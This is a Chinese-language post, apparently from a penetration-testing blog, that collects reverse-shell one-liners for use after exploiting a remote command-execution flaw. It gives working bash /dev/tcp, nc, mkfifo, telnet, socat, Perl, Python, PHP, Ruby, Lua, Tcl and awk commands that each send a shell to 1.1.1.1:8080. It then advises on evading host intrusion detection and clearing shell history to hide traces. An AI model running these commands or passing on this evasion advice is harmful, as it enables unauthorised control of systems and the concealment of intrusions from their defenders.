通常，在做滲透的時候會“運氣好”，碰到某些應用上存在遠程命令執(zhí)行漏洞，近來由于Java反序列化和二進制類漏洞的層出不窮，也加持著這種漏洞越發(fā)增多。
一般來說，靠譜點的公司都不會將應用服務器直接對外，而是通過代理轉發(fā)或映射等方式對外，當可以執(zhí)行命令的服務器能夠訪問公網(wǎng)（這個要看具體情況，比如需要加載公網(wǎng)資源或者其他需求）時，反連技巧就會派上用場。
反彈技巧總結：
Nc?1.1.1.1?8080?-e?/bin/bash?
/bin/bash -i > /dev/tcp/1.1.1.1/8080 0<&1 2>&1
a） exec 2>&0;0<&196; exec 196<>/dev/tcp/1.1.1.1/8080; sh <&196 >&196 2>&196 b） exec 5<>/dev/tcp/1.1.1.1/8080 cat <&5 | while read line; do $line 2>&5 >&5; done[分兩句執(zhí)行]
a) rm /tmp/f;mkfifo /tmp/f; cat /tmp/f|/bin/sh -i 2>&1|nc 1.1.1.1 8080 >/tmp/f b) rm /tmp/backpipe; mknod /tmp/backpipe p;/bin/bash 0</tmp/backpipe | nc 1.1.1.1 8080 1>/tmp/backpipe c) rm /tmp/backpipe; mknod /tmp/backpipe p && telnet 1.1.1.1 8080 0</tmp/backpipe | /bin/bash 1>/tmp/backpipe
telnet 1.1.1.1 8080 | /bin/bash | telnet 1.1.1.1 9090 [另一個端口]
socat tcp-connect:1.1.1.1:8080 exec:"bash -li",pty,stderr,setsid,sigint,sane
a) Perl反彈 1) perl -e 'use Socket;$i="1.1.1.1";$p=8080; socket(S,PF_INET,SOCK_STREAM,getprotobyname("tcp")); if(connect(S,sockaddr_in($p,inet_aton($i)))){open(STDIN,">&S"); open(STDOUT,">&S");open(STDERR,">&S"); exec("/bin/sh -i");};' 2) perl -MIO -e '$p=fork; exit,if($p); $c=new IO::Socket::INET(PeerAddr,"1.1.1.1:8080"); STDIN->fdopen($c,r); $~->fdopen($c,w);system$_ while<>;' b) Python反彈 python -c 'import socket,subprocess,os; s=socket.socket(socket.AF_INET,socket.SOCK_STREAM); s.connect(("1.1.1.1",8080)); os.dup2(s.fileno(),0); os.dup2(s.fileno(),1); os.dup2(s.fileno(),2); p=subprocess.call(["/bin/sh","-i"]);' c) PHP反彈 php -r '$sock=fsockopen("1.1.1.1",8080); exec("/bin/sh -i < &3 >&3 2>&3");' d) ruby反彈 ruby -rsocket -e'f=TCPSocket.open("1.1.1.1",8080).to_i; exec sprintf("/bin/sh -i < &%d >&%d 2>&%d",f,f,f)' 2) ruby -rsocket -e 'exit if fork; c=TCPSocket.new("1.1.1.1","8080"); while(cmd=c.gets); IO.popen(cmd,"r") {|io|c.print io.read}end' e) lua反彈 lua -e "require('socket'); require('os'); t=socket.tcp(); t:connect('1.1.1.1','8080'); os.execute('/bin/sh -i < &3 >&3 2>&3');" f) tcl反彈 echo 'set s [socket 1.1.1.1 8080]; while 42 { puts -nonewline $s "shell>"; flush $s; gets $s c; set e "exec $c"; if {![catch {set r [eval $e]} err]} { puts $s $r }; flush $s; }; close $s;' | tclsh g) awk反彈 awk 'BEGIN {s = "/inet/tcp/0/1.1.1.1/8080"; while(42) { do{ printf "shell>" |& s; s |& getline c; if(c){ while ((c |& getline) > 0) print $0 |& s; close(c); } } while(c != "exit") close(s); }}' /dev/null
Socket程序+命令執(zhí)行，詳見metasploit。
雜談
? ?市面上反彈shell的腳本和程序非常多，拿metasploit來說，可以生產(chǎn)上百種shell,但解碼以后無非以上幾種，有趣的時候metasploit生成的無論是腳本反彈程序還是二進制反彈程序多數(shù)都是自己實現(xiàn)了system_call，而不是調(diào)用系統(tǒng)bash或命令之類，看來做的還是很良心的。
? ?值得一提的是，由于大型甲方公司都會有HIDS防護，目前已知的HIDS，要么修改了bash，要么劫持glibc，要么修改系統(tǒng)底層（這種可能性較低，出問題的幾率大）。
? ?當你覺得可以反彈shell的時候一定要提前識別好環(huán)境，不然執(zhí)行了一個bash –i 或nc ，很有可能直接被hids一波帶走。
比較推薦使用shell內(nèi)置反彈或腳本類的反彈shell程序，一般的hids不會記錄，非常不建議調(diào)用系統(tǒng)bash命令產(chǎn)生反彈，起碼.bash_history會妥妥把你出賣掉。
? ?內(nèi)網(wǎng)shell反彈無論在滲透還是在反滲透中都是一個繞過不開的話題，關于反彈shell,其中有幾個有趣的問題：
1. 反彈shell的理解：
? ?內(nèi)網(wǎng)shell反彈的本質(zhì)是與公網(wǎng)服務器建立連接，并能將公網(wǎng)服務器傳輸過來的命令執(zhí)行，并將結果返回，因此反彈shell涉及兩個過程網(wǎng)絡建立+命令執(zhí)行，這兩個過程都是衡量反彈功能的標準，網(wǎng)絡建立要求復雜加密（如msf: meterpreter_reverse_https等），命令執(zhí)行則要求盡可能繞開hids和相關記錄。
2.交互式shell：
? ?交互式shell是shell最常見的一種，交互式shell區(qū)別非交互式shell最大的就是加載了環(huán)境變量，交互式shell的使用和在終端terminal中幾乎一致。一般來說，遠程命令執(zhí)行反彈出來僅僅是實現(xiàn)了一個非交互式shell。從非交互式shell升級到交互式shell,一個最簡單的方式就是用python腳本 pty.spawn(“/bin/bash”)
3. 交互式shell在實際滲透過程中未必比非交互式shell好，因為有經(jīng)驗的甲方都會對環(huán)境變量、shell終端加載文件如.bashrc、bash_profile等進行安全處理，直接提升到交互式shell，觸發(fā)HIDS告警的可能性較高（當然并非絕對）。
（Ps:如果你使用別人的工具，反彈了shell，卻不清楚是不是交互式shell，一個簡單的方法就是執(zhí)行history和set命令，如果都有正常返回，那你就要當心了，你可能獲取了一個交互式shell，盡快清除history吧。）
